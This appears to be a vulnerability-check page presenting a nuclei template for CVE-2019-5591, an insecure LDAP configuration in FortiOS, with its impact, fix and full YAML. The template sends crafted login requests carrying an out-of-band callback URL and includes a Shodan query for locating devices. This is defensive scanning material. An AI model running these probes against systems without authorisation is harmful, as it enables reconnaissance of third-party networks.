FortiOS - Insecure LDAP Configuration Detection

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

mediumseverity

6.5CVSS score

18.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

The FortiGate LDAP configuration was detected to be insecure due to missing ca-cert, secure LDAPS, or server-identity-check, potentially exposing LDAP communications to credential interception or man-in-the-middle attacks under specific network conditions.

Impact

Unauthenticated attackers can intercept sensitive information by impersonating LDAP servers within the same subnet.

Fix

Configure LDAP server settings properly and disable default configurations; update to the latest firmware version.

How to confirm it

Send: GET /login ; POST /logincheck
Positive when: contains in body_1 "name=\"username\"" and "name=\"secretkey\"" AND status 200 AND contains(body_2, "0") or contains(body_2, "1") or contains(body_2, "2") AND not contains in body_2 "ajax=1&username=" AND contains in interactsh_protocol "dns" or "http"

Run it with nuclei: nuclei -id CVE-2019-5591 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-5591

info:
  name: FortiOS - Insecure LDAP Configuration Detection
  author: ayewo
  severity: medium
  description: |
    The FortiGate LDAP configuration was detected to be insecure due to missing ca-cert, secure LDAPS, or server-identity-check, potentially exposing LDAP communications to credential interception or man-in-the-middle attacks under specific network conditions.
  impact: |
    Unauthenticated attackers can intercept sensitive information by impersonating LDAP servers within the same subnet.
  remediation: |
    Configure LDAP server settings properly and disable default configurations; update to the latest firmware version.
  reference:
    - https://github.com/ayewo/fortios-ldap-mitm-poc-CVE-2019-5591
    - https://www.fortiguard.com/psirt/FG-IR-19-037
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-5591
    epss-score: 0.18566
    epss-percentile: 0.97278
    cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortigate
    shodan-query: 'cpe:"cpe:2.3:o:fortinet:fortios"'
  tags: cve,cve2019,fortinet,ldap,kev,vkev,oast,vuln

variables:
  username: "{{rand_text_alpha(10)}}"
  password: "{{rand_text_alphanumeric(12)}}"

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /logincheck HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        ajax=1&username={{username}}&secretkey={{interactsh-url}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - 'name="username"'
          - 'name="secretkey"'
        condition: and

      - type: status
        status:
          - 200

      - type: dsl
        dsl:
          - contains(body_2, "0")
          - contains(body_2, "1")
          - contains(body_2, "2")
        condition: or

      - type: word
        part: body_2
        words:
          - "ajax=1&username="
        condition: or
        negative: true

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from